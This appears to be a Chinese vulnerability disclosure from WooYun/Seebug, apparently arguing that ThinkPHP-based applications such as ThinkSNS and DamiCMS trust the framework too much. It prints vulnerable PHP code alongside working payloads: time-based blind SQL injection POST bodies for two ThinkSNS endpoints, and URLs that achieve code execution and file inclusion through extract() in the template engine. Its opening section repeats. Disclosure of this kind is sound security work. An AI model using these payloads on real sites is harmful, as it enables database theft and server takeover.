### 简要描述: 从ThinkPHP谈基于框架开发程序的安全性,以ThinkPHP,ThinkSNS,大米CMS等最新版漏洞证明为例 ### 详细说明: 从ThinkPHP谈基于框架开发程序的安全性,以ThinkPHP,ThinkSNS,大米CMS等为例 之前在看ThinkPHP开发手册的时候看到这个: ``` 字符串方式 字符串方式条件即以字符串的方式将条件作为 where() 方法的参数,例子: $Dao = M("User"); $List = $Dao->where('uid<10 AND email="Jack@163.com"')->find(); 实际执行的 SQL 为: SELECT * FROM user WHERE uid<10 AND email="Jack@163.com" LIMIT 1 字符串方式设定的条件即为实际 SQL 执行的条件,也是最接近原生 SQL 的方式,ThinkPHP 不会对条件做任何(类型上的)检查。 ``` 这就是说当程序员使用GPC接受的值以字符串形式进入where中,此值是原生的字符换,不会进行任何检查和处理,即便是错误类型和恶意sql语句等,这样就导致sql注入的隐患存在了。 我们举个例子,拿最新版的ThinkPHP为例: 注意这里$role = $_POST['role'],直接将POST的值付给了变量role 然后变量以role拼接字符串的形式进入了where中: ``` 这样没有单引号保护 $row = M('user')->where('role='.$role)->find(); 或者这样加上单引号保护 $row = M('user')->where("role='".$role."'")->find(); ``` 不懂安全的程序员任务,将role变量带入where中,ThinkPHP应该会自己处理,应该是安全的 但事实上,这样就导致了SQL注入,不管是否加了单引号 [<img src="https://images.seebug.org/upload/201412/22231338b29493be44d82443f21738b00e2f0d57.png" alt="1.png" width="600"...
### 简要描述: 从ThinkPHP谈基于框架开发程序的安全性,以ThinkPHP,ThinkSNS,大米CMS等最新版漏洞证明为例 ### 详细说明: 从ThinkPHP谈基于框架开发程序的安全性,以ThinkPHP,ThinkSNS,大米CMS等为例 之前在看ThinkPHP开发手册的时候看到这个: ``` 字符串方式 字符串方式条件即以字符串的方式将条件作为 where() 方法的参数,例子: $Dao = M("User"); $List = $Dao->where('uid<10 AND email="Jack@163.com"')->find(); 实际执行的 SQL 为: SELECT * FROM user WHERE uid<10 AND email="Jack@163.com" LIMIT 1 字符串方式设定的条件即为实际 SQL 执行的条件,也是最接近原生 SQL 的方式,ThinkPHP 不会对条件做任何(类型上的)检查。 ``` 这就是说当程序员使用GPC接受的值以字符串形式进入where中,此值是原生的字符换,不会进行任何检查和处理,即便是错误类型和恶意sql语句等,这样就导致sql注入的隐患存在了。 我们举个例子,拿最新版的ThinkPHP为例: 注意这里$role = $_POST['role'],直接将POST的值付给了变量role 然后变量以role拼接字符串的形式进入了where中: ``` 这样没有单引号保护 $row = M('user')->where('role='.$role)->find(); 或者这样加上单引号保护 $row = M('user')->where("role='".$role."'")->find(); ``` 不懂安全的程序员任务,将role变量带入where中,ThinkPHP应该会自己处理,应该是安全的 但事实上,这样就导致了SQL注入,不管是否加了单引号 [<img src="https://images.seebug.org/upload/201412/22231338b29493be44d82443f21738b00e2f0d57.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/22231338b29493be44d82443f21738b00e2f0d57.png) 数据库执行记录: [<img src="https://images.seebug.org/upload/201412/22231353a224db0e86fb239fca185f9b3111a9f3.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/22231353a224db0e86fb239fca185f9b3111a9f3.png) 恶意的sql语句内容成功进入了sql语句,没有进行任何检测处理。 可能大家觉的这样写很可笑,但是在实际应用和程序中,这样写的程序员很多 就算使用官方推荐的I方法进行数据的获取,同样存在问题。 ``` public function test(){ if (IS_POST) { $role = I('post.role'); if (empty($role)) { $this->error('角色不能为空'); } $row = M('user')->where('role='.$role)->find(); //$row = M('user')->where("role='".$role."'")->find(); if (empty($row)) { echo 0; }else{ echo 1; var_dump($row); } } } ``` 即使这样使用官方推荐的I方法还是存在同意的问题。 [<img src="https://images.seebug.org/upload/201412/222319178e94caebfd86d046b40d109f05e55c02.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/222319178e94caebfd86d046b40d109f05e55c02.png) 所以只要程序员在基于ThinkPHP开发应用程序时,过度相信框架本身的安全性而未自己做好安全检测处理时,会带来很多安全问题,而且都是大面积的。 比如最新版的ThinkSNS两处,当然不止这两处了: 第一处,文件:/apps/weiba/Lib/Action/IndexAction.class.php ``` /** * 删除帖子 * @return void */ public function postDel(){ $weibaid = D('weiba_post')->where('post_id='.intval($_POST['post_id']))->getField('weiba_id'); if ( !CheckWeibaPermission( '' , $weibaid , 'weiba_del') ){ if ( !CheckPermission('weiba_normal','weiba_del') ){ echo 0;return; } } $post_id = $_POST['post_id']; if(D('weiba_post')->where('post_id='.$post_id)->setField('is_del',1)){ $post_detail = D('weiba_post')->where('post_id='.$post_id)->find(); ``` 这里在删除帖子时,$post_id = $_POST['post_id'] 然后$post_id拼接字符串形式进入where中,跟我们前面讲的问题一样,导致sql注入产生 发送如下请求即可进行盲注: ``` url:http://localhost/thinksns/index.php?app=weiba&mod=Index&act=postDel post_data:post_id=1 and if(mid(user(),1,1)=char(114),sleep(1*5),null) referer:http://localhost/thinksns/index.php?app=weiba&mod=Index&act=postDel ``` 第二处,文件:/apps/w3g/Lib/Action/IndexAction.class.php ``` //获取最新微博数 function countnew(){ $map="weibo_id>{$_POST['nowMaxID']} AND isdel=0"; $map.=" AND ( uid IN (SELECT fid FROM ".C('DB_PREFIX')."weibo_follow WHERE uid=$this->uid) OR uid=$this->uid )"; $countnew = M('Weibo')->where($map)->count(); echo $countnew?$countnew:'0'; } ``` 注意这里的: $map="weibo_id>{$_POST['nowMaxID']} AND isdel=0"; 其中$_POST['nowMaxID']直接拼接到字符串中,最后map进入了where进行查询,导致注入 发送如下请求即可进行盲注: ``` url:http://localhost/thinksns/index.php?app=w3g&mod=Index&act=countnew post_data:nowMaxID=1 and if(mid(user(),1,1)=char(114),sleep(1*5),null)%23 referer:http://localhost/thinksns/index.php?app=w3g&mod=Index&act=countnew ``` 再比如最新版的大米CMS: 大米CMS之前的几处漏洞: [WooYun: 大米CMS某处SQL盲注绕过防御](http://www.wooyun.org/bugs/wooyun-2014-081510) [WooYun: 大米CMS某处SQL盲注2](http://www.wooyun.org/bugs/wooyun-2014-081519) [WooYun: 大米CMS某处SQL盲注3绕过补丁及防御](http://www.wooyun.org/bugs/wooyun-2014-081842) 还有最新提交的两处: http://www.wooyun.org/bugs/wooyun-2014-087947/trace/7880e3736bbf2c91c7c7e9dc17ec68a8 http://www.wooyun.org/bugs/wooyun-2014-087989/trace/876654a7a2c8fc9bae225b34ab148a6e 都是因为通过GPC获取值,然后通过字符串直接进入了where中,导致的注入 具体就不在列举了。 再来谈谈ThinkPHP的模板解析导致的代码执行问题: 在ThinkPHP中模板变量的赋值通过assign函数进行,模板变量的解析通过display函数。 文件ThinkPHP\Library\Think\view.class.php: ``` /** * 模板变量赋值 * @access public * @param mixed $name * @param mixed $value */ public function assign($name,$value=''){ if(is_array($name)) { $this->tVar = array_merge($this->tVar,$name); }else { $this->tVar[$name] = $value; } } ``` 如果传入的是数组,那么直接将数组合并,然后载赋值到到tVar ``` /** * 加载模板和页面输出 可以返回输出内容 * @access public * @param string $templateFile 模板文件名 * @param string $charset 模板输出字符集 * @param string $contentType 输出类型 * @param string $content 模板输出内容 * @param string $prefix 模板缓存前缀 * @return mixed */ public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') { G('viewStartTime'); // 视图开始标签 Hook::listen('view_begin',$templateFile); // 解析并获取模板内容 $content = $this->fetch($templateFile,$content,$prefix); // 输出模板内容 $this->render($content,$charset,$contentType); // 视图结束标签 Hook::listen('view_end'); } ``` 进入编译函数fetch: ``` public function fetch($templateFile='',$content='',$prefix='') { if(empty($content)) { $templateFile = $this->parseTemplate($templateFile); // 模板文件不存在直接返回 if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile); } // 页面缓存 ob_start(); ob_implicit_flush(0); if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板 $_content = $content; // 模板阵列变量分解成为独立变量 extract($this->tVar, EXTR_OVERWRITE); // 直接载入PHP模板 empty($_content)?include $templateFile:eval('?>'.$_content); }else{ // 视图解析标签 $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix); Hook::listen('view_parse',$params); } // 获取并清空缓存 $content = ob_get_clean(); // 内容过滤标签 Hook::listen('view_filter',$content); // 输出模板文件 return $content; } ``` 当使用PHP原生模板时,会调用extract把tVar导入到变量表里,然后会检测$content变量是否存在,如果存在就使用eval执行,否则include $templateFile。 可以看到这里使用了extract函数,extract作用是从数组中把变量导入到当前的符号表中,而第二个参数表示如果有冲突,就覆盖已有变量。 因此此处如果$this->tVar可控的话,那么就可以覆盖掉$templateFile变量造成任意文件包含,或者覆盖$content造成任意代码执行。 所以当程序员把GPC接受的值传给assign,导致$this->tVar可控,这是就导致文件包含或者代码执行漏洞了,直接getshell。 举个例子: ``` <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function local_include(){ $var = $_GET; $this->assign($var); $this->display(); } } ``` 这里将$_GET赋值给$var,然后进入assign,最后导致漏洞产生: ``` 代码执行: http://localhost/ThinkPHP_3.2.2_full/index.php/home/index/local_include?_content=%3C%3Fphp%20phpinfo%28%29%3B%3F%3E 文件包含: http://localhost/ThinkPHP_3.2.2_full/index.php/home/index/local_include?templateFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D ``` [<img src="https://images.seebug.org/upload/201412/23001948282c1dfafd8db7e777f8a25ec37297c4.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/23001948282c1dfafd8db7e777f8a25ec37297c4.png) 这里最好的例子就是ThinkSNS了: [WooYun: ThinkSNS任意文件包含(可getshell)](http://www.wooyun.org/bugs/wooyun-2014-056641) [WooYun: ThinkSNS第三弹七处前台GetShell](http://www.wooyun.org/bugs/wooyun-2014-081755) 当然,按照这里的方法,可找到ThinkSNS不下10处这里的问题 直接getshell也是很轻松的。 ======================================================================= 以上漏洞都是从最新版的ThinkPHP中分析得到 虽然说ThinkPHP现在做的很不错,用户量很大 所以很多新手,很多安全意识差的程序员就过于相信框架本身的安全性 在开发时就免去了自身的处理 再加上开发人员的低安全意识和大意,产生漏洞的几率就更大了 既然作为框架这样的基础型的东西,根基一样要打好,否则像上面这样的问题都是很严重的定时炸弹,总会有爆发的时候,杀伤力还是很大的。 ### 漏洞证明: sql注入 [<img src="https://images.seebug.org/upload/201412/230036060db69d1a0a1886371c07414a3df473b0.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/230036060db69d1a0a1886371c07414a3df473b0.png) 代码执行 [<img src="https://images.seebug.org/upload/201412/23003627e5249e9f104b0cdafbd7bf7eae4646e7.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/23003627e5249e9f104b0cdafbd7bf7eae4646e7.png)